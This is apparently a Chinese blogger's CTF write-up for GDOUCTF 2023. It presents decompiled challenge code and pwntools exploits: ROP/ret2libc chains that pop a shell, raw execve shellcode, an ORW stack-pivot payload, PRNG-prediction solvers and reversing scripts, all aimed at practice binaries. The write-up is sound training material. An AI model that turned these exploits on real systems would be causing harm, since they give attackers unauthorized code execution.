本文最后更新于:2023年4月17日 晚上
GDOUCTF 2023 WP EASY PWN 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int check () { int result; char buf[10 ]; char s1[15 ]; ssize_t v3; int fd; int v5; v5 = 0 ; fd = open("/dev/urandom" , 0 ); if ( fd < 0 ) { puts ("Can't access /dev/urandom." ); exit (1 ); } v3 = read(fd, buf, 0xA uLL); if ( v3 < 0 ) { puts ("Data not received from /dev/urandom" ); exit (1 ); } close(fd); puts ("Password:" ); gets(s1); result = strcmp (s1, buf); if ( result ) result = puts ("I swore that was the right password ..." ); else v5 = 1 ; if ( v5 ) { puts ("Guess I couldn't gaslight you!" ); return print_flag(); } return result; }
原本想尝试下libc的,这下好了,不知道怎么就过了,可以尝试调试一下,我还不是很明白这个。好像正常思路是直接爆破pie的低位,1/16的概率,但是这个程序还是urandom应该是有bug,不是很懂,后面研究明白了再细说。
EXP: 1 2 3 4 5 6 7 8 9 from pwn import * context.log_level = 'debug' io = process('./ep' ) elf = ELF('./ep' ) prdir = 0x13db ret = 0x1016 io.sendline(b'b' *0x1f +p64(0xdeadbeef )+p64(prdir)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(elf.sym['main' ])) io.interactive()
Shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[10 ]; setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); setbuf(stdout , 0LL ); mprotect((&stdout & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 ); puts ("Please." ); read(0 , &name, 0x25 uLL); puts ("Nice to meet you." ); puts ("Let's start!" ); read(0 , buf, 64uLL ); return 0 ; }
最开始写了shellcode型的,去Exploit Database找的37字长的shellcode,不知道为什么没解出来,可能那个sc有问题?还是说不需要经过ret栈对齐就直接ret2就行了?
sc原EXP(未打通): 1 2 3 4 5 6 7 from pwn import * io = process('./sc' ) shellcode = b'\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80' io.send(shellcode) io.sendlineafter(b'start!\n' , b'a' *18 )+p64(0x40028e )+p64(0x6010A0 ) io.interactive()
后面数了下,装ROP链做ret2libc够用,就ret2libc了。靶机环境是0 - libc6_2.27-3ubuntu1_amd64 。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import * io = process('./sc' ) elf = ELF('./sc' ) io.sendline(b'/bin/sh\x00' ) prdir = 0x4007b3 ret = 0x40028e io.sendline(b'a' *18 +p64(prdir)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(elf.sym['main' ])) io.recvuntil(b'start!\n' ) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) sys_addr = libc_base + libc.dump('system' ) bsh_addr = libc_base + libc.dump('str_bin_sh' ) io.sendline(b'/bin/sh\x00' ) io.sendline(b'a' *18 +p64(ret)+p64(prdir)+p64(bsh_addr)+p64(sys_addr)) io.interactive()
真男人下120层 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; int v4; int v6; unsigned int i; __int64 v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); setbuf(_bss_start, 0LL ); v3 = time(0LL ); srand(v3); v8 = 2772839826LL ; v4 = rand(); srand(v4 % 3 - 1522127470 ); printf ("\x1B[31m" ); puts ("\n\n" ); puts (" ## ## ####### ####### ######## ####### " ); puts (" ## ## ### ## ## ## " ); puts (" ####### ### ## ## #### " ); puts (" ## ## ### ## ## ## " ); puts (" ## ## ####### ####### ## ## \n\n" ); printf ("\x1B[0m" ); puts ("Welcome!" ); puts (aThereAreFourDo); puts ("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\n" ); for ( i = 1 ; (int )i <= 120 ; ++i ) { print_door(); printf ("\t\t\tFloor %d\n\n" , i); __isoc99_scanf("%d" , &v6); if ( rand() % 4 + 1 != v6 ) { printf ("\x1B[31m" ); puts ("YOU DIED!" ); printf ("\x1B[0m" ); return 0 ; } system("clear" ); } puts ("Congratulation!" ); cat_flag(); return 0 ; }
纯纯的模拟题,没什么考点。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from ctypes import * context.log_level='debug' io = process('./bin' ) lib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) srand=lib.srand(lib.time(0 )) srand=lib.srand(srand%3 -1522127470 ) io.recvuntil('Floor' )for i in range (121 ): io.sendline(str (lib.rand()%4 +1 ).encode()) io.interactive()
Random main一个随机一个对\n sendline的检查,vulnerable一个栈可溢出点,可是做题经验不是很足,以为是orw+栈迁移但没做明白,后面重新按师傅的来顺了一遍,执行流还是得看调试。因不复杂,反编译内容在此不表。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from ctypes import * context.binary = './rd' context.log_level = 'debug' io = process('./rd' ) elf = ELF('./rd' , False ) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) srand = libc.srand(libc.time(0 )) io.sendline(str (libc.rand()%50 ).encode()) read_code = ''' mov r14, r13 mov r15, r13 /* r13 -> rsp */ xor rdi, rdi /* ARG0 -> rdi -> fd */ push r14 pop rsi /* ARG1 -> rsi = r13 = rsp */ push 0x100 pop rdx /* ARG2 -> rdx = 0x100 */ xor rax, rax syscall /* read(0, rsp, 0x100) */ push r15 pop rsp jmp rsp ''' read_sc = asm(read_code) sub_rsp = ''' sub rsp, 0x30 jmp rsp ''' sub_jmp = asm(sub_rsp) jmp_rsp = 0x40094E payload = read_sc + cyclic(0x28 -len (read_sc)) + p64(jmp_rsp) + sub_jmp io.sendlineafter(b'door\n' , payload) orw_code = shellcraft.open ('/flag' ) orw_code += shellcraft.read (3 , 0x601f00 , 0x30 ) orw_code += shellcraft.write(1 , 0x601f00 , 0x30 ) io.sendline(asm(orw_code)) io.interactive()
Check_Your_Luck 就是纯纯的逆向,逆着来就行。js代码不需要看得懂,就看得懂concat是类似于C++ vector的push_back就够用了,或者python的append也行,字符串直接用+当然也可以,反正就是纯纯的语义逆向,没有算数语法什么的。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 #include <bits/stdc++.h> using namespace std;void dec () { ; }int main () { string sc = "+}!q\")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&" ; string s{}; for (int i = 0 ;i < sc.length (); i++) { switch (sc[i]) { case '!' : s.push_back ('a' ); break ; case '1' : s.push_back ('b' ); break ; case ')' : s.push_back ('c' ); break ; case 'v' : s.push_back ('d' ); break ; case 'm' : s.push_back ('e' ); break ; case '+' : s.push_back ('f' ); break ; case 'q' : s.push_back ('g' ); break ; case '0' : s.push_back ('h' ); break ; case 'c' : s.push_back ('i' ); break ; case ']' : s.push_back ('j' ); break ; case '(' : s.push_back ('k' ); break ; case '}' : s.push_back ('l' ); break ; case '[' : s.push_back ('m' ); break ; case '8' : s.push_back ('n' ); break ; case '5' : s.push_back ('0' ); break ; case '$' : s.push_back ('p' ); break ; case '*' : s.push_back ('q' ); break ; case 'i' : s.push_back ('r' ); break ; case '>' : s.push_back ('s' ); break ; case '#' : s.push_back ('t' ); break ; case '<' : s.push_back ('u' ); break ; case '?' : s.push_back ('v' ); break ; case 'o' : s.push_back ('w' ); break ; case '^' : s.push_back ('x' ); break ; case '-' : s.push_back ('y' ); break ; case '_' : s.push_back ('z' ); break ; case 'h' : s.push_back ('0' ); break ; case 'w' : s.push_back ('1' ); break ; case 'e' : s.push_back ('2' ); break ; case '9' : s.push_back ('3' ); break ; case 'g' : s.push_back ('4' ); break ; case 'z' : s.push_back ('5' ); break ; case 'd' : s.push_back ('6' ); break ; case '~' : s.push_back ('7' ); break ; case '=' : s.push_back ('8' ); break ; case 'x' : s.push_back ('9' ); break ; case 'j' : s.push_back ('!' ); break ; case ':' : s.push_back ('@' ); break ; case '4' : s.push_back ('#' ); break ; case 'b' : s.push_back ('$' ); break ; case '`' : s.push_back ('%' ); break ; case 'l' : s.push_back ('^' ); break ; case '3' : s.push_back ('&' ); break ; case 't' : s.push_back ('*' ); break ; case '6' : s.push_back ('(' ); break ; case 's' : s.push_back (')' ); break ; case 'n' : s.push_back ('_' ); break ; case ';' : s.push_back ('+' ); break ; case '\'' : s.push_back ('-' ); break ; case 'r' : s.push_back ('=' ); break ; case 'k' : s.push_back ('`' ); break ; case 'p' : s.push_back ('~' ); break ; case '\"' : s.push_back ('{' ); break ; case '&' : s.push_back ('}' ); break ; case '/' : s.push_back ('[' ); break ; case '\\' : s.push_back (']' ); break ; case '2' : s.push_back ('|' ); break ; case '.' : s.push_back (':' ); break ; case '%' : s.push_back (';' ); break ; case '|' : s.push_back ('\"' ); break ; case ',' : s.push_back ('\'' ); break ; case '@' : s.push_back ('<' ); break ; case '{' : s.push_back ('>' ); break ; case 'u' : s.push_back (',' ); break ; case '7' : s.push_back ('.' ); break ; case 'y' : s.push_back ('?' ); break ; case 'a' : s.push_back ('/' ); break ; } } cout << s << endl; return 0 ; }
小学数学 题目: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import randomimport signaldef ran (): return random.randint(999 ,99999 )def add (): question = f"{ran()} + {ran()} = " print (question.replace('+' ,'-' )) answer = eval (question[:-2 ]) calc = input () if calc == str (answer): print ("Correct." ) else : print ("Wrong." ) exit(0 )def sub (): question = f"{ran()} - {ran()} = " print (question.replace('-' ,'x' )) answer = eval (question[:-2 ]) calc = input () if calc == str (answer): print ("Correct." ) else : print ("Wrong." ) exit(0 )def mul (): question = f"{ran()} x {ran()} = " print (question.replace('x' ,'//' )) answer = eval (question[:-2 ].replace('x' ,'*' )) calc = input () if calc == str (answer): print ("Correct." ) else : print ("Wrong." ) exit(0 )def div (): question = f"{ran()} // {ran()} = " print (question.replace('//' ,'%' )) answer = eval (question[:-2 ]) calc = input () if calc == str (answer): print ("Correct." ) else : print ("Wrong." ) exit(0 )def mod (): question = f"{ran()} % {ran()} = " print (question.replace('%' ,'+' )) answer = eval (question[:-2 ]) calc = input () if calc == str (answer): print ("Correct." ) else : print ("Wrong." ) exit(0 )print (" ____ ____ ___ _ _ ____ _____ _____ " )print (" / ___| _ \ / _ \| | | | / ___|_ _| ___|" )print ("| | _| | | | | | | | | | | | | | | |_ " )print ("| |_| | |_| | |_| | |_| | | |___ | | | _| " )print (" \____|____/ \___/ \___/ \____| |_| |_| " )print (" " )print ("Welcome to the calculate challenge. Please try to solve 300 Question in 600 seconds." )print ("ATTENTION: This is an April Fool's game, and the real problem may not be what it seems" )print ("" )input ("Press Enter to start..." ) signal.alarm(600 )for i in range (300 ): print ("Round: " +str (i+1 )) random.choice([add,sub,mul,div,mod])() flag = open ('/flag' ).read()print ("Congratulations on passing the challenge. This is your flag: " + str (flag))
说实在的我真觉得这个出题人很胡闹的,很震惊,怎么会有人有这种恶趣味。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * io = remote('' ,) io.sendline(b'' )print ('plz wait..' )for i in range (300 ): io.recvuntil(str (i+1 ).encode()) num1 = int (io.recvuntil(b' ' )) op = io.recvuntil(b' ' ) num2 = int (io.recvuntil(b' ' )) print (num1, op[0 ], num2) if (op[0 ] == ord ('-' )): io.sendline(str (num1+num2).encode()) elif (op[0 ] == ord ('x' )): io.sendline(str (num1-num2).encode()) elif (op[0 ] == ord ('/' )): io.sendline(str (num1*num2).encode()) elif (op[0 ] == ord ('%' )): io.sendline(str (num1//num2).encode()) else : io.sendline(str (num1%num2).encode()) io.interactive()
奇怪的ELF 纯纯的逆向题或者有环境有钱就行,就是一个x86_64(amd64)一个arm64,要不然就两个架构的环境都有要不然qemu要不然就直接逆向,两个解得没有特别全,蒙也能蒙得到答案。
HNCTF{welcome_to_the_Linux_world!}